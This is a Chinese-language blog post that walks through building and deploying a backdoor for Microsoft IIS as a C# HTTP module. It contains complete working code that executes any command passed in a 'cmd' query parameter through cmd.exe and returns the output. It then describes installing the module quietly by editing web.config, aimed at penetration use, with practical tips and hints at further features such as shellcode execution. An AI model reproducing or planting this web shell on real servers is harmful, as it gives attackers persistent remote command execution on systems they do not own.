前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用C#开发IIS模块后门

使用C#开发IIS模块后门

作者头像
黑白天安全
发布2021-06-16 16:59:52
1.5K0
发布2021-06-16 16:59:52
举报

iis后门的两种形式

根据微软的文档[1],iis开发功能分为两种,分别是IIS moduleIIS handler,即IIS模块和IIS处理程序。

IIS模块是一个.NET类,该类实现ASP.NETSystem.Web.IHttpModule接口,并使用System.Web命名空间中的API参与一个或多个ASP.NET的请求处理阶段。

IIS处理程序也是一个类,该类实现ASP.NETSystem.Web.IHttpHandlerSystem.Web.IHttpAsyncHandler接口,并使用System.Web命名空间中的API为其支持的特定内容生成http响应。

IIS处理程序负责将请求提供给特定的url或特定扩展名,IIS模块则应用于基于任意规则的所有或某些请求。本文以IIS模块为例开发IIS后门实现从Cookie中获取cmd命令并执行。

开发环境

1.vs20192..net 2.0

使用.net2.0是为了向上兼容.net3.5/.net4的高版本环境。

开发

先创建一个C# .NET Framework项目

image.png

选用.net2.0的环境

image.png

添加System.Web.dll的引用

image.png

然后实现IHttpModule接口

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;

namespace IIS_BackDoor
{
    public class MyModule : IHttpModule
    {
        public void Dispose()
        {
            throw new NotImplementedException();
        }

        public void Init(HttpApplication context)
        {
            throw new NotImplementedException();
        }
    }
}

两个接口分别负责模块的两个生命周期

1.Init 模块初始化2.Dispose 请求销毁

Init()方法接受一个HttpApplication参数,此参数代表请求的上下文。其中HttpApplication中有一个订阅事件PreRequestHandlerExecute,该事件字面意思就是在请求之前进行处理。

值得一提的是HttpApplication还有很多别的事件

image.png

PreRequestHandlerExecute是一个事件,其类型为EventHandler。

代码语言:javascript
复制
public event EventHandler PreRequestHandlerExecute;

而EventHandler是定义的一个委托

代码语言:javascript
复制
public delegate void EventHandler(object sender, EventArgs e);

新建一个事件

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;

namespace IIS_BackDoor
{
    public class MyModule : IHttpModule
    {
        public void Dispose()
        {
        }

        public void Init(HttpApplication context)
        {
            context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
        }

        private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
        {
            // do somthing
        }
    }
}

通过new EventHandler()新建一个事件,我们新加事件时需要保证自己的方法和EventHandler方法签名一致。即传递object sender, EventArgs e两个参数,返回类型为void。

Context_PreRequestHandlerExecute中,我们想干什么就干什么。

代码语言:javascript
复制
private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
{
    HttpApplication app = (HttpApplication)sender;
    HttpRequest request = app.Context.Request;
    HttpResponse response = app.Context.Response;
}

通过sender拿到HttpApplication上下文。有了request和response我们就可以拿到参数,执行命令拿到结果,然后写入response了。

接下来是示例。

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Web;

namespace IIS_BackDoor
{
    public class MyModule : IHttpModule
    {
        public void Dispose()
        {
        }

        public void Init(HttpApplication context)
        {
            context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
        }

        private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
        {
            HttpApplication app = (HttpApplication)sender;
            HttpRequest request = app.Context.Request;
            HttpResponse response = app.Context.Response;
            try
            {
                string cmd = request.QueryString.Get("cmd");
                Process proc = new Process();
                proc.StartInfo.CreateNoWindow = true;
                proc.StartInfo.FileName = "cmd.exe";
                proc.StartInfo.UseShellExecute = false;
                proc.StartInfo.RedirectStandardError = true;
                proc.StartInfo.RedirectStandardInput = true;
                proc.StartInfo.RedirectStandardOutput = true;
                proc.Start();
                proc.StandardInput.WriteLine(cmd);
                proc.StandardInput.WriteLine("exit");
                string outStr = proc.StandardOutput.ReadToEnd();
                proc.Close();
                response.Clear();
                response.BufferOutput = true;
                response.Write(outStr);
                response.End();
            }
            catch (Exception err)
            {
                response.Write(err.Message);
            }
        }
    }
}

从参数中获取cmd,然后写入resp。编译dll之后来部署dll。

部署后门

微软文档中[2]使用的图形化部署。

先添加模块

image.png

再添加模块映射关系。

image.png

而对渗透来说rdp过于拉跨,这里提供一种使用web.config部署的方法。在web.config中

代码语言:javascript
复制
<configuration>
  <system.webServer>
    <modules>
      <add name="IIS_BackDoor" type="IIS_BackDoor.MyModule"/>
    </modules>
  </system.webServer>
<configuration>

可以将模块放入bin目录,然后编辑web.config加入system.webServer->modules节点,无需重启即可生效。

image.png

部署的时候需要注意,根据iis的运行模式不同,web.config的修改位置也不一样。

经典模式修改位置位于<httpModules></httpModules>标签内。集成模式修改位置位于<modules></modules>内。具体参考 IIS7中的“经典”和“集成”管道模式有什么区别?[3]

踩过的坑

1.部署后门前最好先上cs,不然网站崩了直接gg。2.虽然是net2.0编译的,但是写自己代码的时候可能会有一些api和高版本的不兼容。3.vs2019 anycpu编译的dll,根据iis的运行位数和系统位数不同还是可能会崩,具体部署时应该根据目标实际架构重新编译。

功能实现

iis后门不仅仅可以用来做runcmd的实现,一键注入内存shell、HttpListener端口复用、直接运行shellcode、powershell,都是很实用的功能。

这些功能就不放出来了,大伙自己改改。

参考

1.https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs2.使用.NET Framework开发IIS 7.0模块和处理程序[4]3.https://cloud.tencent.com/developer/article/15079134.IIS7中的“经典”和“集成”管道模式有什么区别?[5]5.CVE-2020-17144漏洞分析与武器化[6]

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

References

[1] 根据微软的文档: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework#two-ways-to-extend-iis-module-vs-handler [2] 微软文档中: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework#deploying-the-assembly-to-the-server [3] IIS7中的“经典”和“集成”管道模式有什么区别?: https://my.oschina.net/u/3797416/blog/3159732 [4] 使用.NET Framework开发IIS 7.0模块和处理程序: https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework [5] IIS7中的“经典”和“集成”管道模式有什么区别?: https://my.oschina.net/u/3797416/blog/3159732 [6] CVE-2020-17144漏洞分析与武器化: https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • iis后门的两种形式
  • 开发环境
  • 开发
  • 部署后门
  • 踩过的坑
  • 功能实现
  • 参考
    • References
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档